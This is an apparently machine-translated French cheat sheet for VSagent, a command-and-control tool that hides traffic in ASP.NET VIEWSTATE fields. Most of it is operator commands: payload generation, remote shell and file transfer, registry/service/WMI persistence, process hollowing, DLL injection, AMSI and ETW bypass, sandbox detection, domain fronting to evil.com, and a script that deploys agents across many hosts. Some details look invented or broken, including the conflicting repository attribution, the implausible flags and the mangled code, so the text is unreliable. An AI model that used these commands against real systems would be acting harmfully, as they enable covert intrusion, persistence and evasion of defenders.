Aller au contenu

Feuille de chaleur VSagent

Copier toutes les commandes Générer PDF

Aperçu général

VSagent est un outil spécialisé de commande et de contrôle (C2) développé par Black Hills Information Security (BHIS) qui cache habilement le trafic C2 dans le paramètre __VIEWSTATE des applications web. Cette approche novatrice tire parti du fait qu'ASP. Les applications NET utilisent généralement de grands paramètres VIEWSTATE en code base64, ce qui rend le trafic malveillant se mélange parfaitement avec les communications d'applications Web légitimes. L'outil représente une technique sophistiquée d'évasion qui exploite l'ubiquité et le comportement attendu des cadres d'application Web pour établir des canaux de communication secrets.

La force première de VSagent réside dans sa capacité à masquer les communications C2 comme trafic d'application web normal. En intégrant les données de commande et de contrôle dans les paramètres de VIEWSTATE, l'outil rend la détection beaucoup plus difficile pour les solutions traditionnelles de surveillance réseau. Les équipes de sécurité ignorent souvent le trafic VIEWSTATE car il semble être un comportement d'application web standard, créant un angle mort efficace que VSagent exploite. Cette technique est particulièrement utile dans les environnements avec une surveillance stricte du réseau et où les protocoles traditionnels C2 seraient rapidement détectés et bloqués.

VSagent fonctionne sur le principe de se cacher en vue, en utilisant l'infrastructure légitime et les schémas de trafic attendus des applications Web pour maintenir la persistance et la communication avec les systèmes compromis. La conception de l'outil reflète une compréhension profonde de l'architecture des applications Web et des limites de surveillance de la sécurité du réseau, ce qui en fait un ajout précieux aux arsenaux de l'équipe rouge et aux trousses d'essai de pénétration.

Installation

Préalables

VSagent nécessite un environnement serveur web capable de gérer ASP. Applications NET ou cadres similaires utilisant des paramètres VIEWSTATE :

# Install required dependencies
sudo apt update
sudo apt install git python3 python3-pip

# Install web server components
sudo apt install apache2 nginx

Installation Git

# Clone VSagent repository
git clone https://github.com/nccgroup/VSagent.git
cd VSagent

# Install Python dependencies
pip3 install -r requirements.txt

# Make scripts executable
chmod +x *.py
chmod +x *.sh
```_

### Installation Docker

```bash
# Build VSagent container
docker build -t vsagent .

# Run VSagent container
docker run -d -p 80:80 -p 443:443 vsagent

# Access container shell
docker exec -it vsagent /bin/bash
```_

## Utilisation de base

### Configuration du serveur

Configuration du composant serveur VSagent pour gérer les communications C2 :

```bash
# Start VSagent server
python3 vsagent_server.py --port 8080 --interface 0.0.0.0

# Start with SSL/TLS
python3 vsagent_server.py --port 443 --ssl --cert server.crt --key server.key

# Start with custom VIEWSTATE key
python3 vsagent_server.py --port 8080 --viewstate-key "custom_key_here"

# Enable verbose logging
python3 vsagent_server.py --port 8080 --verbose

# Start with authentication
python3 vsagent_server.py --port 8080 --auth-token "secure_token_123"

Déploiement des clients

Déploiement de clients VSagent sur des systèmes cibles :

# Generate client payload
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate PowerShell client
python3 generate_client.py --server 192.168.1.100 --port 8080 --format powershell

# Generate with custom User-Agent
python3 generate_client.py --server 192.168.1.100 --port 8080 --user-agent "Mozilla/5.0 Custom"

# Generate with proxy support
python3 generate_client.py --server 192.168.1.100 --port 8080 --proxy 192.168.1.50:3128

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key"

Exécution des commandes

Exécuter des commandes via le canal VSagent C2 :

# List active agents
vsagent> list

# Select agent for interaction
vsagent> use agent_001

# Execute system command
agent_001> shell whoami

# Execute PowerShell command
agent_001> powershell Get-Process

# Upload file to agent
agent_001> upload /local/path/file.txt C:\temp\file.txt

# Download file from agent
agent_001> download C:\temp\data.txt /local/path/data.txt

# Execute in-memory .NET assembly
agent_001> execute-assembly /path/to/assembly.exe arguments

Caractéristiques avancées

VUE Manipulation

Techniques avancées de manipulation des paramètres de VIEWSTATE:

# Custom VIEWSTATE encoding
python3 vsagent_server.py --viewstate-encoding base64

# Multiple VIEWSTATE keys rotation
python3 vsagent_server.py --viewstate-keys key1,key2,key3 --rotation-interval 3600

# VIEWSTATE compression
python3 vsagent_server.py --viewstate-compress gzip

# Custom VIEWSTATE validation
python3 vsagent_server.py --viewstate-validation custom

# VIEWSTATE fragmentation
python3 vsagent_server.py --viewstate-fragment --fragment-size 1024

Obfuscation de la circulation

Mise en œuvre des techniques d'obfuscation du trafic:

# Random delay between communications
agent_001> set delay 30-120

# Custom HTTP headers
agent_001> set headers "X-Custom-Header: value"

# User-Agent rotation
agent_001> set user-agents "Mozilla/5.0...,Chrome/91.0...,Safari/14.0..."

# Referrer spoofing
agent_001> set referrer "https://legitimate-site.com"

# Cookie manipulation
agent_001> set cookies "session=abc123; auth=xyz789"

Mécanismes de persistance

Établir la persistance par VSagent :

# Registry persistence
agent_001> persist registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "VSagent"

# Scheduled task persistence
agent_001> persist task --name "SystemUpdate" --trigger daily --time "09:00"

# Service persistence
agent_001> persist service --name "VSagentSvc" --display "System Update Service"

# WMI persistence
agent_001> persist wmi --namespace "root\subscription" --consumer "VSagentConsumer"

# Startup folder persistence
agent_001> persist startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

Techniques d'évacuation

Évasion du réseau

Mise en œuvre de l'évasion au niveau du réseau:

# Domain fronting
python3 vsagent_server.py --domain-front cdn.cloudflare.com --real-domain evil.com

# DNS over HTTPS
python3 vsagent_server.py --dns-over-https --doh-server https://1.1.1.1/dns-query

# Traffic shaping
python3 vsagent_server.py --traffic-shape --min-delay 5 --max-delay 30

# Protocol tunneling
python3 vsagent_server.py --tunnel-protocol https --tunnel-port 443

# Proxy chaining
python3 vsagent_server.py --proxy-chain "proxy1:8080,proxy2:3128,proxy3:1080"

Évasion basée sur l'hôte

Éviter la détection par l'hôte:

# Process hollowing
agent_001> hollow-process notepad.exe payload.exe

# DLL injection
agent_001> inject-dll target_process.exe malicious.dll

# Memory patching
agent_001> patch-memory process_name offset shellcode

# AMSI bypass
agent_001> bypass-amsi

# ETW evasion
agent_001> disable-etw

Anti-analyse

Mise en œuvre des techniques anti-analyse:

# Sandbox detection
agent_001> detect-sandbox

# Virtual machine detection
agent_001> detect-vm

# Debugger detection
agent_001> detect-debugger

# Analysis tool detection
agent_001> detect-analysis-tools

# Environment fingerprinting
agent_001> fingerprint-environment

Scripts d'automatisation

Automatisation du déploiement

#!/bin/bash
# VSagent deployment automation

# Set variables
SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

# Generate clients for multiple targets
while IFS= read -r target; do
    echo "Generating client for $target"
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target

    # Deploy client
    scp vsagent_client.exe user@$target:/tmp/
    ssh user@$target "cd /tmp && ./vsagent_client.exe"
done < "$TARGET_LIST"

echo "Deployment completed"

Automatisation des commandes

#!/bin/bash
# VSagent command automation

# Connect to VSagent server
python3 -c "
import vsagent_client

# Initialize connection
client = vsagent_client.VSagentClient('192.168.1.100', 8080)

# Execute command sequence
commands = [
    'shell whoami',
    'shell hostname',
    'powershell Get-Process',
    'download C:\temp\data.txt /tmp/data.txt'
]

for cmd in commands:
    result = client.execute(cmd)
    print(f'Command: \\\\{cmd\\\\}')
    print(f'Result: \\\\{result\\\\}')
    print('-' * 50)
"

Scénario de suivi

#!/usr/bin/env python3
# VSagent monitoring script

import time
import requests
import json

def monitor_vsagent_traffic():
    """Monitor VSagent C2 traffic"""

    server_url = "http://192.168.1.100:8080"

    while True:
        try:
            # Check server status
            response = requests.get(f"\\\\{server_url\\\\}/status")

            if response.status_code == 200:
                data = response.json()

                print(f"Active agents: \\\\{data['active_agents']\\\\}")
                print(f"Total commands: \\\\{data['total_commands']\\\\}")
                print(f"Data transferred: \\\\{data['data_transferred']\\\\}")

                # Log agent activity
                for agent in data['agents']:
                    print(f"Agent \\\\{agent['id']\\\\}: Last seen \\\\{agent['last_seen']\\\\}")

            time.sleep(60)

        except Exception as e:
            print(f"Monitoring error: \\\\{e\\\\}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_vsagent_traffic()

Exemples d'intégration

SIEM Intégration

Intégration de VSagent aux systèmes SIEM:

# Splunk integration
python3 vsagent_server.py --siem-output splunk --splunk-host splunk.company.com --splunk-port 8089

# ELK Stack integration
python3 vsagent_server.py --siem-output elasticsearch --es-host elastic.company.com --es-port 9200

# QRadar integration
python3 vsagent_server.py --siem-output qradar --qradar-host qradar.company.com --qradar-port 514

# Custom SIEM integration
python3 vsagent_server.py --siem-output custom --siem-script /path/to/custom_siem.py

Renseignements sur les menaces Intégration

#!/usr/bin/env python3
# VSagent threat intelligence integration

import requests
import json

def integrate_threat_intel():
    """Integrate with threat intelligence platforms"""

    # VirusTotal integration
    vt_api_key = "your_vt_api_key"

    # Check IOCs
    iocs = ["192.168.1.100", "evil.com", "malicious.exe"]

    for ioc in iocs:
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = \\\\{"apikey": vt_api_key, "ip": ioc\\\\}

        response = requests.get(url, params=params)

        if response.status_code == 200:
            data = response.json()
            print(f"IOC \\\\{ioc\\\\}: \\\\{data['response_code']\\\\}")

if __name__ == "__main__":
    integrate_threat_intel()

Dépannage

Questions communes

** Problèmes de connexion :**

# Check network connectivity
ping target_server

# Verify port accessibility
telnet target_server 8080

# Check firewall rules
sudo iptables -L|grep 8080

# Test with curl
curl -v http://target_server:8080

VIEWSTATE Numéros:

# Validate VIEWSTATE format
python3 validate_viewstate.py --input viewstate_data

# Debug VIEWSTATE parsing
python3 vsagent_server.py --debug-viewstate

# Check VIEWSTATE size limits
python3 check_viewstate_limits.py --server target_server

Questions relatives au rendement :

# Monitor resource usage
top -p $(pgrep vsagent)

# Check memory usage
ps aux|grep vsagent

# Monitor network traffic
netstat -an|grep 8080

# Check disk space
df -h

Déboguement

Activer le débogage détaillé :

# Enable debug mode
python3 vsagent_server.py --debug --log-level DEBUG

# Capture network traffic
tcpdump -i eth0 -w vsagent_traffic.pcap port 8080

# Analyze logs
tail -f /var/log/vsagent.log

# Memory debugging
valgrind --tool=memcheck python3 vsagent_server.py

Considérations en matière de sécurité

Sécurité opérationnelle

** Sécurité des communications :** - Utilisez toujours HTTPS/TLS pour les communications C2 - Implémenter le pinnage de certificat pour prévenir les attaques MITM - Utiliser un chiffrement fort pour la transmission de charge utile - Rotation régulière des clés de chiffrement

** Sécurité des infrastructures :** - Déployer les serveurs C2 derrière les CDN ou les redirectionurs - Utiliser des techniques de frontage de domaine si possible - Mettre en œuvre la liste blanche IP pour l'accès administratif - Mises à jour et correctifs de sécurité réguliers

Évitement de détection : - Varier les modes de communication et le calendrier - Utiliser des chaînes user-agent à l'apparence légitime - Mettre en œuvre le jitter dans les intervalles des balises - Surveillance des contre-mesures défensives

Considérations juridiques et éthiques

** Essais autorisés seulement:** - Obtenir une autorisation écrite appropriée avant le déploiement - Définir clairement la portée et les limites - Documenter toutes les activités de conformité - Suivre les pratiques de divulgation responsable

** Protection des données :** - Chiffrer les données sensibles en transit et au repos - Mettre en œuvre des procédures de suppression sécurisée des données - Respecter les exigences en matière de confidentialité et de confidentialité - Respect des règles applicables en matière de protection des données

Références

  1. [Sécurité de l'information de Black Hills - VSagent] (LINK_5)
  2. VIEWSTATE Recherche sur la sécurité
  3. [Techniques d'évacuation C2] (LINK_5)
  4. Essais de sécurité des applications Web
  5. Surveillance de la sécurité du réseau